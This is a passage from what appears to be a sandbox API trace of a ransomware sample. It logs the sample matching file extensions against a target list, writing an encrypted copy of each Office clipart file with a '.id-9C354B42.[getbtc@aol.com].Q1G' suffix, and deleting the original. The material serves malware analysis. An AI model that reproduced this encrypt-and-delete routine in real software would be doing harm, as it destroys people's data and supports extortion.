(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0242.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0242.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0242.422] lstrlenW (lpString=".doc") returned 4 [0242.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.422] lstrlenW (lpString=".docx") returned 5 [0242.422] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.422] lstrlenW (lpString=".pdf") returned 4 [0242.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.422] lstrlenW (lpString=".xls") returned 4 [0242.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.422] lstrlenW (lpString=".xlsx") returned 5 [0242.422] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.422] lstrlenW (lpString=".ppt") returned 4 [0242.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0242.422] lstrlenW (lpString=".zip") returned 4 [0242.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.422] lstrlenW (lpString=".rar") returned 4 [0242.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.422] lstrlenW (lpString=".bz2") returned 4 [0242.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.422] lstrlenW (lpString=".7z") returned 3 [0242.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0242.422] lstrlenW (lpString=".dbf") returned 4 [0242.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0242.422] lstrlenW (lpString=".1cd") returned 4 [0242.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0242.423] lstrlenW (lpString=".jpg") returned 4 [0242.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0242.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0242.423] lstrlenW (lpString=".doc") returned 4 [0242.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.423] lstrlenW (lpString=".docx") returned 5 [0242.423] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.423] lstrlenW (lpString=".pdf") returned 4 [0242.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.423] lstrlenW (lpString=".xls") returned 4 [0242.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.423] lstrlenW (lpString=".xlsx") returned 5 [0242.423] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.423] lstrlenW (lpString=".ppt") returned 4 [0242.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0242.423] lstrlenW (lpString=".zip") returned 4 [0242.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.423] lstrlenW (lpString=".rar") returned 4 [0242.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.423] lstrlenW (lpString=".bz2") returned 4 [0242.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.423] lstrlenW (lpString=".7z") returned 3 [0242.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0242.423] lstrlenW (lpString=".dbf") returned 4 [0242.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0242.423] lstrlenW (lpString=".1cd") returned 4 [0242.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0242.423] lstrlenW (lpString=".jpg") returned 4 [0242.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.424] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0242.424] lstrlenW (lpString="BD08868_.WMF") returned 12 [0242.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0242.882] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=40206) returned 1 [0242.882] CloseHandle (hObject=0x3a0) returned 1 [0242.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20 [0242.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0243.238] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.238] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.246] GetLastError () returned 0x0 [0243.246] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x9d0e, lpOverlapped=0x0) returned 1 [0243.249] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x9d10, lpOverlapped=0x0) returned 1 [0243.250] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.250] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.250] SetEndOfFile (hFile=0x398) returned 1 [0243.250] CloseHandle (hObject=0x398) returned 1 [0243.251] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.251] SetEndOfFile (hFile=0x39c) returned 1 [0243.254] CloseHandle (hObject=0x39c) returned 1 [0243.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0243.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0243.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0243.260] lstrlenW (lpString=".doc") returned 4 [0243.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.260] lstrlenW (lpString=".docx") returned 5 [0243.260] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.260] lstrlenW (lpString=".pdf") returned 4 [0243.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.260] lstrlenW (lpString=".xls") returned 4 [0243.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.260] lstrlenW (lpString=".xlsx") returned 5 [0243.260] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.260] lstrlenW (lpString=".ppt") returned 4 [0243.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0243.261] lstrlenW (lpString=".zip") returned 4 [0243.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.261] lstrlenW (lpString=".rar") returned 4 [0243.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.261] lstrlenW (lpString=".bz2") returned 4 [0243.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.261] lstrlenW (lpString=".7z") returned 3 [0243.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0243.261] lstrlenW (lpString=".dbf") returned 4 [0243.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0243.261] lstrlenW (lpString=".1cd") returned 4 [0243.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0243.261] lstrlenW (lpString=".jpg") returned 4 [0243.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0243.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0243.261] lstrlenW (lpString=".doc") returned 4 [0243.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.261] lstrlenW (lpString=".docx") returned 5 [0243.261] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.261] lstrlenW (lpString=".pdf") returned 4 [0243.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.261] lstrlenW (lpString=".xls") returned 4 [0243.261] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.261] lstrlenW (lpString=".xlsx") returned 5 [0243.261] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.261] lstrlenW (lpString=".ppt") returned 4 [0243.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0243.261] lstrlenW (lpString=".zip") returned 4 [0243.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.262] lstrlenW (lpString=".rar") returned 4 [0243.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.262] lstrlenW (lpString=".bz2") returned 4 [0243.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.262] lstrlenW (lpString=".7z") returned 3 [0243.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0243.262] lstrlenW (lpString=".dbf") returned 4 [0243.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0243.262] lstrlenW (lpString=".1cd") returned 4 [0243.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0243.262] lstrlenW (lpString=".jpg") returned 4 [0243.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.262] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.262] lstrlenW (lpString="BD19986_.WMF") returned 12 [0243.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.263] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=14486) returned 1 [0243.263] CloseHandle (hObject=0x200) returned 1 [0243.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20 [0243.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.263] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.263] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.264] GetLastError () returned 0x0 [0243.264] ReadFile (in: hFile=0x200, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x3896, lpOverlapped=0x0) returned 1 [0243.265] WriteFile (in: hFile=0x3a4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x38a0, lpOverlapped=0x0) returned 1 [0243.266] ReadFile (in: hFile=0x200, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.266] WriteFile (in: hFile=0x3a4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.266] SetEndOfFile (hFile=0x3a4) returned 1 [0243.267] CloseHandle (hObject=0x3a4) returned 1 [0243.267] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.267] SetEndOfFile (hFile=0x200) returned 1 [0243.269] CloseHandle (hObject=0x200) returned 1 [0243.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0243.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0243.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0243.270] lstrlenW (lpString=".doc") returned 4 [0243.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.270] lstrlenW (lpString=".docx") returned 5 [0243.270] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.270] lstrlenW (lpString=".pdf") returned 4 [0243.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.270] lstrlenW (lpString=".xls") returned 4 [0243.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.270] lstrlenW (lpString=".xlsx") returned 5 [0243.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.270] lstrlenW (lpString=".ppt") returned 4 [0243.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0243.271] lstrlenW (lpString=".zip") returned 4 [0243.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.271] lstrlenW (lpString=".rar") returned 4 [0243.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.271] lstrlenW (lpString=".bz2") returned 4 [0243.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.271] lstrlenW (lpString=".7z") returned 3 [0243.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0243.271] lstrlenW (lpString=".dbf") returned 4 [0243.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0243.271] lstrlenW (lpString=".1cd") returned 4 [0243.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0243.271] lstrlenW (lpString=".jpg") returned 4 [0243.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0243.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0243.271] lstrlenW (lpString=".doc") returned 4 [0243.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.271] lstrlenW (lpString=".docx") returned 5 [0243.271] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.271] lstrlenW (lpString=".pdf") returned 4 [0243.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.271] lstrlenW (lpString=".xls") returned 4 [0243.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.271] lstrlenW (lpString=".xlsx") returned 5 [0243.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.271] lstrlenW (lpString=".ppt") returned 4 [0243.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0243.272] lstrlenW (lpString=".zip") returned 4 [0243.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.272] lstrlenW (lpString=".rar") returned 4 [0243.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.272] lstrlenW (lpString=".bz2") returned 4 [0243.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.272] lstrlenW (lpString=".7z") returned 3 [0243.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0243.272] lstrlenW (lpString=".dbf") returned 4 [0243.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0243.272] lstrlenW (lpString=".1cd") returned 4 [0243.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0243.272] lstrlenW (lpString=".jpg") returned 4 [0243.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.272] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.272] lstrlenW (lpString="BD19988_.WMF") returned 12 [0243.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.273] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=18304) returned 1 [0243.273] CloseHandle (hObject=0x200) returned 1 [0243.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x20 [0243.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.273] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.273] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.274] GetLastError () returned 0x0 [0243.274] ReadFile (in: hFile=0x200, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x4780, lpOverlapped=0x0) returned 1 [0243.275] WriteFile (in: hFile=0x3a4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x4790, lpOverlapped=0x0) returned 1 [0243.278] ReadFile (in: hFile=0x200, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.278] WriteFile (in: hFile=0x3a4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.278] SetEndOfFile (hFile=0x3a4) returned 1 [0243.278] CloseHandle (hObject=0x3a4) returned 1 [0243.278] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.278] SetEndOfFile (hFile=0x200) returned 1 [0243.281] CloseHandle (hObject=0x200) returned 1 [0243.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0243.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0243.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0243.282] lstrlenW (lpString=".doc") returned 4 [0243.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.282] lstrlenW (lpString=".docx") returned 5 [0243.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.282] lstrlenW (lpString=".pdf") returned 4 [0243.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.282] lstrlenW (lpString=".xls") returned 4 [0243.282] lstrcmpiW 